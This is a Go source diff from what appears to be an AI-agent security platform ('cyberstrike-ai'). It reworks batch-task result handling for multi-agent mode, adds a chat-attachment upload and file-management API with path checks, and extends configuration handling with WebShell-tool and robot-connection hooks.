+				if partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")) {
+					cancelMsg = partialResp
 				}
 				// 更新助手消息内容
 				if assistantMessageID != "" {
@@ -1247,11 +1680,15 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 					if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
 						h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
 					}
+				} else if resultMA != nil && (resultMA.LastReActInput != "" || resultMA.LastReActOutput != "") {
+					if err := h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput); err != nil {
+						h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
+					}
 				}
 				h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "cancelled", cancelMsg, "", conversationID)
 			} else {
-				h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
-				errorMsg := "执行失败: " + err.Error()
+				h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(runErr))
+				errorMsg := "执行失败: " + runErr.Error()
 				// 更新助手消息内容
 				if assistantMessageID != "" {
 					if _, updateErr := h.db.Exec(
@@ -1266,42 +1703,57 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 						h.logger.Warn("保存错误详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
 					}
 				}
-				h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", err.Error())
+				h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", runErr.Error())
 			}
 		} else {
 			h.logger.Info("批量任务执行成功", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
 
+			var resText string
+			var mcpIDs []string
+			var lastIn, lastOut string
+			if useBatchMulti {
+				resText = resultMA.Response
+				mcpIDs = resultMA.MCPExecutionIDs
+				lastIn = resultMA.LastReActInput
+				lastOut = resultMA.LastReActOutput
+			} else {
+				resText = result.Response
+				mcpIDs = result.MCPExecutionIDs
+				lastIn = result.LastReActInput
+				lastOut = result.LastReActOutput
+			}
+
 			// 更新助手消息内容
 			if assistantMessageID != "" {
 				mcpIDsJSON := ""
-				if len(result.MCPExecutionIDs) > 0 {
-					jsonData, _ := json.Marshal(result.MCPExecutionIDs)
+				if len(mcpIDs) > 0 {
+					jsonData, _ := json.Marshal(mcpIDs)
 					mcpIDsJSON = string(jsonData)
 				}
 				if _, updateErr := h.db.Exec(
 					"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
-					result.Response,
+					resText,
 					mcpIDsJSON,
 					assistantMessageID,
 				); updateErr != nil {
 					h.logger.Warn("更新助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
 					// 如果更新失败，尝试创建新消息
-					_, err = h.db.AddMessage(conversationID, "assistant", result.Response, result.MCPExecutionIDs)
+					_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
 					if err != nil {
 						h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
 					}
 				}
 			} else {
 				// 如果没有预先创建的助手消息，创建一个新的
-				_, err = h.db.AddMessage(conversationID, "assistant", result.Response, result.MCPExecutionIDs)
+				_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
 				if err != nil {
 					h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
 				}
 			}
 
 			// 保存ReAct数据
-			if result.LastReActInput != "" || result.LastReActOutput != "" {
-				if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
+			if lastIn != "" || lastOut != "" {
+				if err := h.db.SaveReActData(conversationID, lastIn, lastOut); err != nil {
 					h.logger.Warn("保存ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
 				} else {
 					h.logger.Info("已保存ReAct数据", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
@@ -1309,7 +1761,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 			}
 
 			// 保存结果
-			h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "completed", result.Response, "", conversationID)
+			h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "completed", resText, "", conversationID)
 		}
 
 		// 移动到下一个任务

internal/handler/chat_uploads.go

@@ -0,0 +1,484 @@
+package handler
+
+import (
+	"crypto/rand"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+const (
+	chatUploadsRootDirName = "chat_uploads"
+	maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
+)
+
+// ChatUploadsHandler 对话中上传附件（chat_uploads 目录）的管理 API
+type ChatUploadsHandler struct {
+	logger *zap.Logger
+}
+
+// NewChatUploadsHandler 创建处理器
+func NewChatUploadsHandler(logger *zap.Logger) *ChatUploadsHandler {
+	return &ChatUploadsHandler{logger: logger}
+}
+
+func (h *ChatUploadsHandler) absRoot() (string, error) {
+	cwd, err := os.Getwd()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
+}
+
+// resolveUnderChatUploads 校验 relativePath（使用 / 分隔）对应文件必须在 chat_uploads 根下
+func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
+	root, err := h.absRoot()
+	if err != nil {
+		return "", err
+	}
+	rel := strings.TrimSpace(relativePath)
+	if rel == "" {
+		return "", fmt.Errorf("empty path")
+	}
+	rel = filepath.Clean(filepath.FromSlash(rel))
+	if rel == "." || strings.HasPrefix(rel, "..") {
+		return "", fmt.Errorf("invalid path")
+	}
+	full := filepath.Join(root, rel)
+	full, err = filepath.Abs(full)
+	if err != nil {
+		return "", err
+	}
+	rootAbs, _ := filepath.Abs(root)
+	if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
+		return "", fmt.Errorf("path escapes chat_uploads root")
+	}
+	return full, nil
+}
+
+// ChatUploadFileItem 列表项
+type ChatUploadFileItem struct {
+	RelativePath   string `json:"relativePath"`
+	AbsolutePath   string `json:"absolutePath"` // 服务器上的绝对路径，便于在对话中引用（与附件落盘路径一致）
+	Name           string `json:"name"`
+	Size           int64  `json:"size"`
+	ModifiedUnix   int64  `json:"modifiedUnix"`
+	Date           string `json:"date"`
+	ConversationID string `json:"conversationId"`
+	// SubPath 为日期、会话目录之下的子路径（不含文件名），如 date/conv/a/b/file 则为 "a/b"；无嵌套则为 ""。
+	SubPath string `json:"subPath"`
+}
+
+// List GET /api/chat-uploads
+func (h *ChatUploadsHandler) List(c *gin.Context) {
+	conversationFilter := strings.TrimSpace(c.Query("conversation"))
+	root, err := h.absRoot()
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if _, err := os.Stat(root); os.IsNotExist(err) {
+		c.JSON(http.StatusOK, gin.H{"files": []ChatUploadFileItem{}})
+		return
+	}
+	var files []ChatUploadFileItem
+	err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
+		if walkErr != nil {
+			return walkErr
+		}
+		if d.IsDir() {
+			return nil
+		}
+		info, err := d.Info()
+		if err != nil {
+			return err
+		}
+		rel, err := filepath.Rel(root, path)
+		if err != nil {
+			return err
+		}
+		relSlash := filepath.ToSlash(rel)
+		parts := strings.Split(relSlash, "/")
+		var dateStr, convID string
+		if len(parts) >= 2 {
+			dateStr = parts[0]
+		}
+		if len(parts) >= 3 {
+			convID = parts[1]
+		}
+		var subPath string
+		if len(parts) >= 4 {
+			subPath = strings.Join(parts[2:len(parts)-1], "/")
+		}
+		if conversationFilter != "" && convID != conversationFilter {
+			return nil
+		}
+		absPath, _ := filepath.Abs(path)
+		files = append(files, ChatUploadFileItem{
+			RelativePath:   relSlash,
+			AbsolutePath:   absPath,
+			Name:           d.Name(),
+			Size:           info.Size(),
+			ModifiedUnix:   info.ModTime().Unix(),
+			Date:           dateStr,
+			ConversationID: convID,
+			SubPath:        subPath,
+		})
+		return nil
+	})
+	if err != nil {
+		h.logger.Warn("列举对话附件失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	sort.Slice(files, func(i, j int) bool {
+		return files[i].ModifiedUnix > files[j].ModifiedUnix
+	})
+	c.JSON(http.StatusOK, gin.H{"files": files})
+}
+
+// Download GET /api/chat-uploads/download?path=...
+func (h *ChatUploadsHandler) Download(c *gin.Context) {
+	p := c.Query("path")
+	abs, err := h.resolveUnderChatUploads(p)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	st, err := os.Stat(abs)
+	if err != nil || st.IsDir() {
+		c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
+		return
+	}
+	c.FileAttachment(abs, filepath.Base(abs))
+}
+
+type chatUploadPathBody struct {
+	Path string `json:"path"`
+}
+
+// Delete DELETE /api/chat-uploads
+func (h *ChatUploadsHandler) Delete(c *gin.Context) {
+	var body chatUploadPathBody
+	if err := c.ShouldBindJSON(&body); err != nil || strings.TrimSpace(body.Path) == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
+		return
+	}
+	abs, err := h.resolveUnderChatUploads(body.Path)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	st, err := os.Stat(abs)
+	if err != nil {
+		if os.IsNotExist(err) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if st.IsDir() {
+		if err := os.RemoveAll(abs); err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	} else {
+		if err := os.Remove(abs); err != nil {
+			if os.IsNotExist(err) {
+				c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
+				return
+			}
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	c.JSON(http.StatusOK, gin.H{"ok": true})
+}
+
+type chatUploadMkdirBody struct {
+	Parent string `json:"parent"`
+	Name   string `json:"name"`
+}
+
+// Mkdir POST /api/chat-uploads/mkdir — 在 parent 目录下新建子目录（parent 为 chat_uploads 下相对路径，空表示根目录；name 为单段目录名）
+func (h *ChatUploadsHandler) Mkdir(c *gin.Context) {
+	var body chatUploadMkdirBody
+	if err := c.ShouldBindJSON(&body); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
+		return
+	}
+	name := strings.TrimSpace(body.Name)
+	if name == "" || strings.ContainsAny(name, `/\`) || name == "." || name == ".." {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid name"})
+		return
+	}
+	if utf8.RuneCountInString(name) > 200 {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "name too long"})
+		return
+	}
+
+	parent := strings.TrimSpace(body.Parent)
+	parent = filepath.ToSlash(filepath.Clean(filepath.FromSlash(parent)))
+	parent = strings.Trim(parent, "/")
+	if parent == "." {
+		parent = ""
+	}
+
+	root, err := h.absRoot()
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	if parent != "" {
+		absParent, err := h.resolveUnderChatUploads(parent)
+		if err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+		st, err := os.Stat(absParent)
+		if err != nil || !st.IsDir() {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "parent not found"})
+			return
+		}
+	}
+
+	var rel string
+	if parent == "" {
+		rel = name
+	} else {
+		rel = parent + "/" + name
+	}
+	absNew, err := h.resolveUnderChatUploads(rel)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if _, err := os.Stat(absNew); err == nil {
+		c.JSON(http.StatusConflict, gin.H{"error": "already exists"})
+		return
+	}
+	if err := os.Mkdir(absNew, 0755); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	relOut, _ := filepath.Rel(root, absNew)
+	c.JSON(http.StatusOK, gin.H{"ok": true, "relativePath": filepath.ToSlash(relOut)})
+}
+
+type chatUploadRenameBody struct {
+	Path    string `json:"path"`
+	NewName string `json:"newName"`
+}
+
+// Rename PUT /api/chat-uploads/rename
+func (h *ChatUploadsHandler) Rename(c *gin.Context) {
+	var body chatUploadRenameBody
+	if err := c.ShouldBindJSON(&body); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
+		return
+	}
+	newName := strings.TrimSpace(body.NewName)
+	if newName == "" || strings.ContainsAny(newName, `/\`) {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid newName"})
+		return
+	}
+	abs, err := h.resolveUnderChatUploads(body.Path)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	dir := filepath.Dir(abs)
+	newAbs := filepath.Join(dir, filepath.Base(newName))
+	root, _ := h.absRoot()
+	newAbs, _ = filepath.Abs(newAbs)
+	if newAbs != root && !strings.HasPrefix(newAbs, root+string(filepath.Separator)) {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid target path"})
+		return
+	}
+	if err := os.Rename(abs, newAbs); err != nil {
+		if os.IsNotExist(err) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	newRel, _ := filepath.Rel(root, newAbs)
+	c.JSON(http.StatusOK, gin.H{"ok": true, "relativePath": filepath.ToSlash(newRel)})
+}
+
+type chatUploadContentBody struct {
+	Path    string `json:"path"`
+	Content string `json:"content"`
+}
+
+// GetContent GET /api/chat-uploads/content?path=...
+func (h *ChatUploadsHandler) GetContent(c *gin.Context) {
+	p := c.Query("path")
+	abs, err := h.resolveUnderChatUploads(p)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	st, err := os.Stat(abs)
+	if err != nil || st.IsDir() {
+		c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
+		return
+	}
+	if st.Size() > maxChatUploadEditBytes {
+		c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "file too large for editor"})
+		return
+	}
+	b, err := os.ReadFile(abs)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if !utf8.Valid(b) {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "binary file not editable in UI"})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"content": string(b)})
+}
+
+// PutContent PUT /api/chat-uploads/content
+func (h *ChatUploadsHandler) PutContent(c *gin.Context) {
+	var body chatUploadContentBody
+	if err := c.ShouldBindJSON(&body); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
+		return
+	}
+	if !utf8.ValidString(body.Content) {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "content must be valid UTF-8"})
+		return
+	}
+	if len(body.Content) > maxChatUploadEditBytes {
+		c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "content too large"})
+		return
+	}
+	abs, err := h.resolveUnderChatUploads(body.Path)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if err := os.WriteFile(abs, []byte(body.Content), 0644); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"ok": true})
+}
+
+func chatUploadShortRand(n int) string {
+	const letters = "0123456789abcdef"
+	b := make([]byte, n)
+	_, _ = rand.Read(b)
+	for i := range b {
+		b[i] = letters[int(b[i])%len(letters)]
+	}
+	return string(b)
+}
+
+// Upload POST /api/chat-uploads multipart: file；conversationId 可选；relativeDir 可选（chat_uploads 下目录的相对路径，将文件直接上传至该目录）
+func (h *ChatUploadsHandler) Upload(c *gin.Context) {
+	fh, err := c.FormFile("file")
+	if err != nil || fh == nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "missing file"})
+		return
+	}
+	root, err := h.absRoot()
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	var targetDir string
+	targetRel := strings.TrimSpace(c.PostForm("relativeDir"))
+	if targetRel != "" {
+		absDir, err := h.resolveUnderChatUploads(targetRel)
+		if err != nil {
+			c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+			return
+		}
+		st, err := os.Stat(absDir)
+		if err != nil {
+			if os.IsNotExist(err) {
+				if err := os.MkdirAll(absDir, 0755); err != nil {
+					c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+					return
+				}
+			} else {
+				c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+				return
+			}
+		} else if !st.IsDir() {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "relativeDir is not a directory"})
+			return
+		}
+		targetDir = absDir
+	} else {
+		convID := strings.TrimSpace(c.PostForm("conversationId"))
+		convDir := convID
+		if convDir == "" {
+			convDir = "_manual"
+		} else {
+			convDir = strings.ReplaceAll(convDir, string(filepath.Separator), "_")
+		}
+		dateStr := time.Now().Format("2006-01-02")
+		targetDir = filepath.Join(root, dateStr, convDir)
+		if err := os.MkdirAll(targetDir, 0755); err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	baseName := filepath.Base(fh.Filename)
+	if baseName == "" || baseName == "." {
+		baseName = "file"
+	}
+	baseName = strings.ReplaceAll(baseName, string(filepath.Separator), "_")
+	ext := filepath.Ext(baseName)
+	nameNoExt := strings.TrimSuffix(baseName, ext)
+	suffix := fmt.Sprintf("_%s_%s", time.Now().Format("150405"), chatUploadShortRand(6))
+	var unique string
+	if ext != "" {
+		unique = nameNoExt + suffix + ext
+	} else {
+		unique = baseName + suffix
+	}
+	fullPath := filepath.Join(targetDir, unique)
+	src, err := fh.Open()
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	defer src.Close()
+	dst, err := os.Create(fullPath)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	defer dst.Close()
+	if _, err := io.Copy(dst, src); err != nil {
+		_ = os.Remove(fullPath)
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	rel, _ := filepath.Rel(root, fullPath)
+	absSaved, _ := filepath.Abs(fullPath)
+	c.JSON(http.StatusOK, gin.H{
+		"ok":           true,
+		"relativePath": filepath.ToSlash(rel),
+		"absolutePath": absSaved,
+		"name":         unique,
+	})
+}

internal/handler/config.go

@@ -12,6 +12,7 @@ import (
 	"sync"
 	"time"
 
+	"cyberstrike-ai/internal/agents"
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/knowledge"
 	"cyberstrike-ai/internal/mcp"
@@ -28,6 +29,9 @@ type KnowledgeToolRegistrar func() error
 // VulnerabilityToolRegistrar 漏洞工具注册器接口
 type VulnerabilityToolRegistrar func() error
 
+// WebshellToolRegistrar WebShell 工具注册器接口（ApplyConfig 时重新注册）
+type WebshellToolRegistrar func() error
+
 // SkillsToolRegistrar Skills工具注册器接口
 type SkillsToolRegistrar func() error
 
@@ -44,6 +48,11 @@ type AppUpdater interface {
 	UpdateKnowledgeComponents(handler *KnowledgeHandler, manager interface{}, retriever interface{}, indexer interface{})
 }
 
+// RobotRestarter 机器人连接重启器（用于配置应用后重启钉钉/飞书长连接）
+type RobotRestarter interface {
+	RestartRobotConnections()
+}
+
 // ConfigHandler 配置处理器
 type ConfigHandler struct {
 	configPath                 string
@@ -55,10 +64,12 @@ type ConfigHandler struct {
 	externalMCPMgr             *mcp.ExternalMCPManager    // 外部MCP管理器
 	knowledgeToolRegistrar     KnowledgeToolRegistrar     // 知识库工具注册器（可选）
 	vulnerabilityToolRegistrar VulnerabilityToolRegistrar // 漏洞工具注册器（可选）
+	webshellToolRegistrar      WebshellToolRegistrar      // WebShell 工具注册器（可选）
 	skillsToolRegistrar        SkillsToolRegistrar        // Skills工具注册器（可选）
 	retrieverUpdater           RetrieverUpdater           // 检索器更新器（可选）
 	knowledgeInitializer       KnowledgeInitializer       // 知识库初始化器（可选）
 	appUpdater                 AppUpdater                 // App更新器（可选）
+	robotRestarter             RobotRestarter             // 机器人连接重启器（可选），ApplyConfig 时重启钉钉/飞书
 	logger                     *zap.Logger
 	mu                         sync.RWMutex
 	lastEmbeddingConfig        *config.EmbeddingConfig // 上一次的嵌入模型配置（用于检测变更）
@@ -114,6 +125,13 @@ func (h *ConfigHandler) SetVulnerabilityToolRegistrar(registrar VulnerabilityToo
 	h.vulnerabilityToolRegistrar = registrar
 }
 
+// SetWebshellToolRegistrar 设置 WebShell 工具注册器
+func (h *ConfigHandler) SetWebshellToolRegistrar(registrar WebshellToolRegistrar) {
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	h.webshellToolRegistrar = registrar
+}
+
 // SetSkillsToolRegistrar 设置Skills工具注册器
 func (h *ConfigHandler) SetSkillsToolRegistrar(registrar SkillsToolRegistrar) {
 	h.mu.Lock()
@@ -142,13 +160,23 @@ func (h *ConfigHandler) SetAppUpdater(updater AppUpdater) {
 	h.appUpdater = updater
 }
 
+// SetRobotRestarter 设置机器人连接重启器（ApplyConfig 时用于重启钉钉/飞书长连接）
+func (h *ConfigHandler) SetRobotRestarter(restarter RobotRestarter) {
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	h.robotRestarter = restarter
+}
+
 // GetConfigResponse 获取配置响应
 type GetConfigResponse struct {
-	OpenAI    config.OpenAIConfig    `json:"openai"`
-	MCP       config.MCPConfig       `json:"mcp"`
-	Tools     []ToolConfigInfo       `json:"tools"`
-	Agent     config.AgentConfig     `json:"agent"`
-	Knowledge config.KnowledgeConfig `json:"knowledge"`
+	OpenAI     config.OpenAIConfig     `json:"openai"`
+	FOFA       config.FofaConfig       `json:"fofa"`
+	MCP        config.MCPConfig        `json:"mcp"`
+	Tools      []ToolConfigInfo        `json:"tools"`
+	Agent      config.AgentConfig      `json:"agent"`
+	Knowledge  config.KnowledgeConfig  `json:"knowledge"`
+	Robots     config.RobotsConfig     `json:"robots,omitempty"`
+	MultiAgent config.MultiAgentPublic `json:"multi_agent,omitempty"`
 }
 
 // ToolConfigInfo 工具配置信息
@@ -174,18 +202,10 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 		configToolMap[tool.Name] = true
 		tools = append(tools, ToolConfigInfo{
 			Name:        tool.Name,
-			Description: tool.ShortDescription,
+			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		})
-		// 如果没有简短描述，使用详细描述的前100个字符
-		if tools[len(tools)-1].Description == "" {
-			desc := tool.Description
-			if len(desc) > 100 {
-				desc = desc[:100] + "..."
-			}
-			tools[len(tools)-1].Description = desc
-		}
 	}
 
 	// 从MCP服务器获取所有已注册的工具（包括直接注册的工具，如知识检索工具）
@@ -201,8 +221,8 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 			if description == "" {
 				description = mcpTool.Description
 			}
-			if len(description) > 100 {
-				description = description[:100] + "..."
+			if len(description) > 10000 {
+				description = description[:10000] + "..."
 			}
 			tools = append(tools, ToolConfigInfo{
 				Name:        mcpTool.Name,
@@ -215,70 +235,44 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 
 	// 获取外部MCP工具
 	if h.externalMCPMgr != nil {
-		// 增加超时时间到30秒，因为通过代理连接远程服务器可能需要更长时间
-		ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
-		defer cancel()
-
-		externalTools, err := h.externalMCPMgr.GetAllTools(ctx)
-		if err == nil {
-			externalMCPConfigs := h.externalMCPMgr.GetConfigs()
-			for _, externalTool := range externalTools {
-				var mcpName, actualToolName string
-				if idx := strings.Index(externalTool.Name, "::"); idx > 0 {
-					mcpName = externalTool.Name[:idx]
-					actualToolName = externalTool.Name[idx+2:]
-				} else {
-					continue
-				}
-
-				enabled := false
-				if cfg, exists := externalMCPConfigs[mcpName]; exists {
-					// 首先检查外部MCP是否启用
-					if !cfg.ExternalMCPEnable && !(cfg.Enabled && !cfg.Disabled) {
-						enabled = false // MCP未启用，所有工具都禁用
-					} else {
-						// MCP已启用，检查单个工具的启用状态
-						// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
-						if cfg.ToolEnabled == nil {
-							enabled = true // 未设置工具状态，默认为启用
-						} else if toolEnabled, exists := cfg.ToolEnabled[actualToolName]; exists {
-							enabled = toolEnabled // 使用配置的工具状态
-						} else {
-							enabled = true // 工具未在配置中，默认为启用
-						}
-					}
-				}
-
-				client, exists := h.externalMCPMgr.GetClient(mcpName)
-				if !exists || !client.IsConnected() {
-					enabled = false
-				}
-
-				description := externalTool.ShortDescription
-				if description == "" {
-					description = externalTool.Description
-				}
-				if len(description) > 100 {
-					description = description[:100] + "..."
-				}
-
-				tools = append(tools, ToolConfigInfo{
-					Name:        actualToolName,
-					Description: description,
-					Enabled:     enabled,
-					IsExternal:  true,
-					ExternalMCP: mcpName,
-				})
-			}
+		ctx := context.Background()
+		externalTools := h.getExternalMCPTools(ctx)
+		for _, toolInfo := range externalTools {
+			tools = append(tools, toolInfo)
 		}
 	}
 
+	subAgentCount := len(h.config.MultiAgent.SubAgents)
+	agentsDir := strings.TrimSpace(h.config.AgentsDir)
+	if agentsDir == "" {
+		agentsDir = "agents"
+	}
+	if !filepath.IsAbs(agentsDir) {
+		agentsDir = filepath.Join(filepath.Dir(h.configPath), agentsDir)
+	}
+	if load, err := agents.LoadMarkdownAgentsDir(agentsDir); err == nil {
+		subAgentCount = len(agents.MergeYAMLAndMarkdown(h.config.MultiAgent.SubAgents, load.SubAgents))
+	}
+	multiPub := config.MultiAgentPublic{
+		Enabled:            h.config.MultiAgent.Enabled,
+		DefaultMode:        h.config.MultiAgent.DefaultMode,
+		RobotUseMultiAgent: h.config.MultiAgent.RobotUseMultiAgent,
+		BatchUseMultiAgent: h.config.MultiAgent.BatchUseMultiAgent,
+		SubAgentCount:      subAgentCount,
+	}
+	if strings.TrimSpace(multiPub.DefaultMode) == "" {
+		multiPub.DefaultMode = "single"
+	}
+
 	c.JSON(http.StatusOK, GetConfigResponse{
-		OpenAI:    h.config.OpenAI,
-		MCP:       h.config.MCP,
-		Tools:     tools,
-		Agent:     h.config.Agent,
-		Knowledge: h.config.Knowledge,
+		OpenAI:     h.config.OpenAI,
+		FOFA:       h.config.FOFA,
+		MCP:        h.config.MCP,
+		Tools:      tools,
+		Agent:      h.config.Agent,
+		Knowledge:  h.config.Knowledge,
+		Robots:     h.config.Robots,
+		MultiAgent: multiPub,
 	})
 }
 
@@ -342,18 +336,10 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		configToolMap[tool.Name] = true
 		toolInfo := ToolConfigInfo{
 			Name:        tool.Name,
-			Description: tool.ShortDescription,
+			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		}
-		// 如果没有简短描述，使用详细描述的前100个字符
-		if toolInfo.Description == "" {
-			desc := tool.Description
-			if len(desc) > 100 {
-				desc = desc[:100] + "..."
-			}
-			toolInfo.Description = desc
-		}
 
 		// 根据角色配置标注工具状态
 		if roleName != "" {
@@ -405,8 +391,8 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 			if description == "" {
 				description = mcpTool.Description
 			}
-			if len(description) > 100 {
-				description = description[:100] + "..."
+			if len(description) > 10000 {
+				description = description[:10000] + "..."
 			}
 
 			toolInfo := ToolConfigInfo{
@@ -451,99 +437,43 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 	// 获取外部MCP工具
 	if h.externalMCPMgr != nil {
-		// 增加超时时间到30秒，因为通过代理连接远程服务器可能需要更长时间
-		ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
-		defer cancel()
+		// 创建context用于获取外部工具
+		ctx := context.Background()
+		externalTools := h.getExternalMCPTools(ctx)
 
-		externalTools, err := h.externalMCPMgr.GetAllTools(ctx)
-		if err != nil {
-			h.logger.Warn("获取外部MCP工具失败", zap.Error(err))
-		} else {
-			// 获取外部MCP配置，用于判断启用状态
-			externalMCPConfigs := h.externalMCPMgr.GetConfigs()
-
-			for _, externalTool := range externalTools {
-				// 解析工具名称：mcpName::toolName
-				var mcpName, actualToolName string
-				if idx := strings.Index(externalTool.Name, "::"); idx > 0 {
-					mcpName = externalTool.Name[:idx]
-					actualToolName = externalTool.Name[idx+2:]
-				} else {
-					continue // 跳过格式不正确的工具
+		// 应用搜索过滤和角色配置
+		for _, toolInfo := range externalTools {
+			// 搜索过滤
+			if searchTermLower != "" {
+				nameLower := strings.ToLower(toolInfo.Name)
+				descLower := strings.ToLower(toolInfo.Description)
+				if !strings.Contains(nameLower, searchTermLower) && !strings.Contains(descLower, searchTermLower) {
+					continue // 不匹配，跳过
 				}
-
